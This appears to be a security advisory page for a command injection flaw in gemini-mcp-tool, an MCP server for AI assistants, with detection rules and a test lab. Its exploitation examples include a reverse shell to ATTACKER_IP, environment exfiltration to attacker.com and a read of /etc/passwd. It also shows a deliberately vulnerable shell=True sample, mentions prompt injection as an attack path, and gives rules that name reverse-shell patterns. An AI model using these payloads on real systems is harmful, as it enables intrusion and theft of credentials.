CVE-2026-0755 — gemini-mcp-tool execAsync Command Injection Remote Code Execution Vulnerability.¶

Key facts

CVE-2026-0755 (Gemini MCP Tool) is a Critical (9.8) vulnerability: gemini-mcp-tool execAsync Command Injection Remote Code Execution Vulnerability.. This entry ships ready-to-deploy detection and prevention rules (Snort, YARA, Nginx, Apache) plus a detection-only PoC and a Docker test lab.


CVE	CVE-2026-0755
Severity	Critical (9.8)
Vendor	Gemini MCP Tool
Detection / prevention	Snort, YARA, Nginx, Apache
PoC	poc.py
Source	2026/CVE-2026-0755/

Details¶

CVE-2026-0755 (Gemini MCP Tool) is a Critical (9.8) vulnerability: gemini-mcp-tool execAsync Command Injection Remote Code Execution Vulnerability.. This entry ships a detection-only proof-of-concept (PoC), a Docker test lab, and ready-to-deploy detection and prevention rules (Snort, YARA, Nginx, Apache) — see Detection and prevention below. Source: NVD record.

English | 한국어

Description¶

gemini-mcp-tool execAsync Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of gemini-mcp-tool. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the implementation of the execAsync method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account.

Important Context: Local Machine Usage¶

gemini-mcp-tool is typically installed and run on developers' local machines, not on remote servers. It is an MCP (Model Context Protocol) server that enables AI assistants (like Claude Desktop) to interact with Google Gemini API.

Typical deployment: - Installed via npm install gemini-mcp-tool - Runs locally on developer's workstation - Communicates with AI clients via stdio or local HTTP port

Why this matters for security: - Compromise affects the developer's local machine directly - Attacker gains access to local files, SSH keys, credentials, source code - Attack vector is often indirect through prompt injection (malicious content processed by AI) - Even without network exposure, the vulnerability can be exploited via AI-processed malicious data

Vulnerability Details¶

Property	Value
CVE ID	CVE-2026-0755
Type	RCE (OS Command Injection)
CWE	CWE-78: Improper Neutralization of Special Elements used in an OS Command
CVSS Score	9.8 (Critical)
CVSS Vector	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Version	gemini-mcp-tool 1.1.2
Vendor	Gemini MCP Tool

CVSS Breakdown¶

Metric	Value	Description
Attack Vector	Network	Exploitable remotely
Attack Complexity	Low	No special conditions required
Privileges Required	None	No authentication needed
User Interaction	None	No user action required
Scope	Unchanged	Impact limited to vulnerable component
Confidentiality	High	Complete information disclosure
Integrity	High	Complete system modification
Availability	High	Complete denial of service

RCE Code Sample Scenarios¶

Vulnerable Code Pattern¶

The vulnerability exists because user input is passed directly to shell execution without sanitization:

# VULNERABLE CODE - DO NOT USE IN PRODUCTION
import subprocess

def execAsync(command):
    # User input passed directly to shell - VULNERABLE!
    result = subprocess.run(
        command,
        shell=True,  # Dangerous: enables shell interpretation
        capture_output=True,
        text=True
    )
    return result.stdout

Exploitation Examples¶

1. Basic Command Injection (Semicolon)

# Request
curl -X POST http://target:5000/mcp/execute \
  -H "Content-Type: application/json" \
  -d '{"command": "echo hello; id; whoami"}'

# Response - executes all three commands
{
  "stdout": "hello\nuid=0(root) gid=0(root) groups=0(root)\nroot\n",
  "returncode": 0
}

2. Command Substitution ($())

# Request
curl -X POST http://target:5000/mcp/execute \
  -H "Content-Type: application/json" \
  -d '{"command": "echo $(cat /etc/passwd)"}'

# Response - leaks sensitive file contents
{
  "stdout": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:...",
  "returncode": 0
}

3. Reverse Shell

# Request - establishes reverse shell to attacker
curl -X POST http://target:5000/mcp/execute \
  -H "Content-Type: application/json" \
  -d '{"command": "echo test; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}'

4. Data Exfiltration

# Request - exfiltrates environment variables
curl -X POST http://target:5000/mcp/execute \
  -H "Content-Type: application/json" \
  -d '{"command": "echo start; env | curl -X POST -d @- http://attacker.com/collect"}'

Secure Code Pattern (Remediation)¶

# SECURE CODE - Proper input validation and no shell execution
import subprocess
import shlex
import re

ALLOWED_COMMANDS = ['gemini', 'echo']
DANGEROUS_CHARS = re.compile(r'[;&|`$(){}[\]<>\\\'\"!]')

def execAsync_secure(command):
    # 1. Reject dangerous characters
    if DANGEROUS_CHARS.search(command):
        raise ValueError("Invalid characters in command")

    # 2. Parse and validate command
    parts = shlex.split(command)
    if not parts or parts[0] not in ALLOWED_COMMANDS:
        raise ValueError("Command not allowed")

    # 3. Execute WITHOUT shell
    result = subprocess.run(
        parts,           # List of arguments
        shell=False,     # SECURE: no shell interpretation
        capture_output=True,
        text=True
    )
    return result.stdout

Proof of Concept¶

Download¶

# Download PoC script
curl -O https://raw.githubusercontent.com/fankh/vulnerability-poc/main/2026/CVE-2026-0755/poc.py

Usage¶

# Run PoC against target
python3 poc.py --target <TARGET_URL>

# Check mode only (safe detection)
python3 poc.py --target <TARGET_URL> --check

# Verbose output
python3 poc.py --target <TARGET_URL> --verbose

Warning: This PoC is for authorized security testing only. It uses detection-only techniques and does not exploit or damage target systems.

Test Lab¶

This repository includes a Docker-based test environment with both vulnerable and patched applications.

Quick Start¶

# Clone and navigate to CVE directory
cd CVE-2026-0755

# Start both applications
docker-compose up -d

# Run tests
./run-tests.sh    # Linux/Mac
./run-tests.ps1   # Windows PowerShell

Application Endpoints¶

Application	URL	Status
Vulnerable App	http://localhost:8080	Shows vulnerability
Patched App	http://localhost:8081	Demonstrates fix

Directory Structure¶

├── README.md           # English documentation
├── README_KO.md        # Korean documentation
├── poc.py              # PoC detection script
├── docker-compose.yml  # Container orchestration
├── run-tests.sh        # Linux/Mac test runner
├── run-tests.ps1       # Windows test runner
├── vulnerable-app/     # Vulnerable version
│   ├── app.py
│   ├── Dockerfile
│   └── requirements.txt
├── patched-app/        # Fixed version
│   ├── app.py
│   ├── Dockerfile
│   └── requirements.txt
└── prevention/         # Detection & prevention rules
    ├── README.md
    ├── nginx.conf
    ├── httpd.conf
    ├── snort.rules
    └── yara.yar

Prevention Rules¶

This directory includes prevention and detection rules for WAF, IDS, and file scanning:

File	Description
`prevention/nginx.conf`	Nginx WAF rules
`prevention/httpd.conf`	Apache httpd with ModSecurity rules
`prevention/snort.rules`	Snort IDS detection signatures
`prevention/yara.yar`	YARA file/memory detection rules

See prevention/README.md for deployment instructions.

Remediation¶

Upgrade gemini-mcp-tool to a patched version when available
Input Validation: Sanitize all user input before passing to system commands
Avoid shell execution: Use parameterized commands instead of shell=True
Principle of Least Privilege: Run MCP servers with minimal permissions
Network Isolation: Restrict MCP server network access

References¶

https://www.zerodayinitiative.com/advisories/ZDI-26-021/
https://www.cve.org/CVERecord?id=CVE-2026-0755

Generated by PoC Generator on 2026-01-24

Detection and prevention¶

Ready-to-deploy defensive rules for CVE-2026-0755, for authorized testing and blue-team detection engineering:

Snort IDS signature — prevention/snort.rules
YARA detection rule — prevention/yara.yar
Nginx mitigation — prevention/nginx.conf
Apache HTTPD mitigation — prevention/httpd.conf
Detection-only PoC — poc.py
Rule notes — prevention/README.md

References: NVD — CVE-2026-0755 · full write-up on the searchable site

Detection & prevention rules¶

Snort IDS signatureYARA detection ruleNginx mitigationApache HTTPD mitigation

# CVE-2026-0755 - Snort IDS Rules
# gemini-mcp-tool Command Injection Detection
# Severity: Critical (CVSS 9.8)

# Rule 1: Detect shell metacharacters in HTTP request
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CVE-2026-0755 Command Injection - Shell Metacharacter Detected";
    flow:to_server,established;
    content:"command"; http_client_body;
    pcre:"/[;\|&`\$\(\{]/";
    classtype:web-application-attack;
    sid:2026075501;
    rev:1;
    metadata:cve CVE-2026-0755, severity critical;
)

# Rule 2: Detect common command execution attempts
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CVE-2026-0755 Command Injection - System Command Detected";
    flow:to_server,established;
    content:"command"; http_client_body;
    pcre:"/;\s*(id|whoami|cat|ls|pwd|env|uname|hostname)/i";
    classtype:web-application-attack;
    sid:2026075502;
    rev:1;
    metadata:cve CVE-2026-0755, severity critical;
)

# Rule 3: Detect reverse shell attempts
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CVE-2026-0755 Command Injection - Reverse Shell Attempt";
    flow:to_server,established;
    content:"/dev/tcp/"; http_client_body;
    classtype:web-application-attack;
    sid:2026075503;
    rev:1;
    metadata:cve CVE-2026-0755, severity critical;
)

# Rule 4: Detect data exfiltration attempts
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CVE-2026-0755 Command Injection - Data Exfiltration Attempt";
    flow:to_server,established;
    pcre:"/(curl|wget|nc)\s+.*(http|https|ftp)/i";
    classtype:web-application-attack;
    sid:2026075504;
    rev:1;
    metadata:cve CVE-2026-0755, severity critical;
)

# Rule 5: Detect URL-encoded command injection
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CVE-2026-0755 Command Injection - URL Encoded Payload";
    flow:to_server,established;
    pcre:"/(%3b|%7c|%26|%60|%24%28|%24%7b)/i";
    classtype:web-application-attack;
    sid:2026075505;
    rev:1;
    metadata:cve CVE-2026-0755, severity critical;
)

# Rule 6: Detect MCP execute endpoint targeting
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CVE-2026-0755 MCP Execute Endpoint Access with Suspicious Payload";
    flow:to_server,established;
    content:"/mcp/execute"; http_uri;
    content:"command"; http_client_body;
    pcre:"/[;\|&`]/";
    classtype:web-application-attack;
    sid:2026075506;
    rev:1;
    metadata:cve CVE-2026-0755, severity critical;
)

:material-file-download: prevention/snort.rules

/*
 * CVE-2026-0755 - YARA Detection Rules
 * gemini-mcp-tool Command Injection Detection
 */

rule CVE_2026_0755_Command_Injection_Payload {
    meta:
        description = "Detects CVE-2026-0755 command injection payloads"
        author = "SecProbe Security Research"
        severity = "critical"
        cve = "CVE-2026-0755"
        cvss = "9.8"

    strings:
        // Shell metacharacters
        $meta1 = "; id" ascii wide nocase
        $meta2 = "; whoami" ascii wide nocase
        $meta3 = "; cat " ascii wide nocase
        $meta4 = "; ls" ascii wide nocase
        $meta5 = "| cat " ascii wide nocase
        $meta6 = "| id" ascii wide nocase
        $meta7 = "&& id" ascii wide nocase
        $meta8 = "|| id" ascii wide nocase

        // Command substitution
        $subst1 = "$(" ascii wide
        $subst2 = "${" ascii wide
        $subst3 = "`id`" ascii wide
        $subst4 = "`whoami`" ascii wide

        // Reverse shell patterns
        $revsh1 = "/dev/tcp/" ascii wide
        $revsh2 = "/dev/udp/" ascii wide
        $revsh3 = "bash -i >& " ascii wide
        $revsh4 = "nc -e /bin" ascii wide
        $revsh5 = "mkfifo /tmp" ascii wide

        // Data exfiltration
        $exfil1 = "curl http" ascii wide nocase
        $exfil2 = "wget http" ascii wide nocase
        $exfil3 = "| curl" ascii wide nocase
        $exfil4 = "| wget" ascii wide nocase

    condition:
        any of them
}

rule CVE_2026_0755_MCP_Exploit_Request {
    meta:
        description = "Detects CVE-2026-0755 exploit attempts targeting MCP endpoints"
        author = "SecProbe Security Research"
        severity = "critical"
        cve = "CVE-2026-0755"

    strings:
        $endpoint1 = "/mcp/execute" ascii wide
        $endpoint2 = "/mcp/query" ascii wide
        $param = "command" ascii wide

        // Injection indicators
        $inject1 = ";" ascii
        $inject2 = "|" ascii
        $inject3 = "`" ascii
        $inject4 = "$(" ascii

    condition:
        any of ($endpoint*) and $param and any of ($inject*)
}

rule CVE_2026_0755_Encoded_Payload {
    meta:
        description = "Detects URL-encoded command injection payloads for CVE-2026-0755"
        author = "SecProbe Security Research"
        severity = "critical"
        cve = "CVE-2026-0755"

    strings:
        // URL-encoded shell metacharacters
        $enc1 = "%3b" ascii wide nocase  // ;
        $enc2 = "%7c" ascii wide nocase  // |
        $enc3 = "%26" ascii wide nocase  // &
        $enc4 = "%60" ascii wide nocase  // `
        $enc5 = "%24%28" ascii wide nocase  // $(
        $enc6 = "%24%7b" ascii wide nocase  // ${

        // Double-encoded variants
        $denc1 = "%253b" ascii wide nocase
        $denc2 = "%257c" ascii wide nocase
        $denc3 = "%2526" ascii wide nocase

    condition:
        any of them
}

:material-file-download: prevention/yara.yar

# CVE-2026-0755 - Prevention Rules for Nginx
# gemini-mcp-tool Command Injection Protection

# Block command injection patterns in request body and URI
location / {
    # Rate limiting to prevent automated attacks
    limit_req zone=general burst=20 nodelay;

    # Block shell metacharacters in URI
    if ($request_uri ~* "(;|\||&|`|\$\(|\$\{|>\s*|<\s*|\x00)") {
        return 403;
    }

    # Block common command injection payloads
    if ($request_uri ~* "(;\s*(id|whoami|cat|ls|pwd|env|curl|wget|bash|sh|nc|netcat))") {
        return 403;
    }

    # Block reverse shell patterns
    if ($request_uri ~* "(/dev/tcp/|/dev/udp/|mkfifo|telnet\s+\d)") {
        return 403;
    }

    # Block URL-encoded shell metacharacters
    if ($request_uri ~* "(%3b|%7c|%26|%60|%24%28|%24%7b)") {
        return 403;
    }

    # Security headers
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-XSS-Protection "1; mode=block" always;
}

# Request body inspection (requires ngx_http_lua_module or similar)
# For JSON body inspection, consider using ModSecurity with Nginx

# Log suspicious activity
access_log /var/log/nginx/CVE-2026-0755-access.log;
error_log /var/log/nginx/CVE-2026-0755-error.log;

:material-file-download: prevention/nginx.conf

# CVE-2026-0755 - Prevention Rules for Apache httpd
# gemini-mcp-tool Command Injection Protection

<IfModule mod_rewrite.c>
    RewriteEngine On

    # Block shell metacharacters
    RewriteCond %{QUERY_STRING} (;|\||&|`|\$\(|\$\{) [NC,OR]
    RewriteCond %{REQUEST_URI} (;|\||&|`|\$\(|\$\{) [NC]
    RewriteRule .* - [F,L]

    # Block common command injection payloads
    RewriteCond %{QUERY_STRING} (;\s*(id|whoami|cat|ls|pwd|env|curl|wget|bash|sh)) [NC,OR]
    RewriteCond %{REQUEST_URI} (;\s*(id|whoami|cat|ls|pwd|env|curl|wget|bash|sh)) [NC]
    RewriteRule .* - [F,L]

    # Block reverse shell patterns
    RewriteCond %{QUERY_STRING} (/dev/tcp/|/dev/udp/|mkfifo) [NC,OR]
    RewriteCond %{REQUEST_URI} (/dev/tcp/|/dev/udp/|mkfifo) [NC]
    RewriteRule .* - [F,L]

    # Block URL-encoded shell metacharacters
    RewriteCond %{QUERY_STRING} (%3b|%7c|%26|%60|%24%28|%24%7b) [NC,OR]
    RewriteCond %{REQUEST_URI} (%3b|%7c|%26|%60|%24%28|%24%7b) [NC]
    RewriteRule .* - [F,L]

    # Block null bytes
    RewriteCond %{REQUEST_URI} %00 [NC]
    RewriteRule .* - [F,L]
</IfModule>

# ModSecurity rules for request body inspection
<IfModule mod_security2.c>
    SecRule REQUEST_BODY "@rx (;|\||&|`|\$\(|\$\{)" \
        "id:2026075501,phase:2,deny,status:403,msg:'CVE-2026-0755 Command Injection Attempt'"

    SecRule REQUEST_BODY "@rx ;\s*(id|whoami|cat|ls|pwd|env|curl|wget|bash|sh)" \
        "id:2026075502,phase:2,deny,status:403,msg:'CVE-2026-0755 Command Execution Attempt'"
</IfModule>

# Security headers
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set X-XSS-Protection "1; mode=block"

# Enable logging
CustomLog /var/log/httpd/CVE-2026-0755-access.log combined
ErrorLog /var/log/httpd/CVE-2026-0755-error.log

:material-file-download: prevention/httpd.conf

Frequently asked questions¶

What is CVE-2026-0755?¶

CVE-2026-0755 (Gemini MCP Tool) is a Critical (9.8) vulnerability: gemini-mcp-tool execAsync Command Injection Remote Code Execution Vulnerability.. This entry ships ready-to-deploy detection and prevention rules (Snort, YARA, Nginx, Apache) plus a detection-only PoC and a Docker test lab.

How do I detect CVE-2026-0755?¶

Deploy the Snort and YARA detection rule included with this entry (see Detection & prevention rules below), then validate it against the detection-only PoC in the Docker test lab.

How do I block or mitigate CVE-2026-0755?¶

Apply the Nginx and Apache mitigation config included with this entry, and upgrade to a fixed version per the vendor advisory (see the NVD record for affected versions).

For authorized security testing and research only. See the full source and NVD record.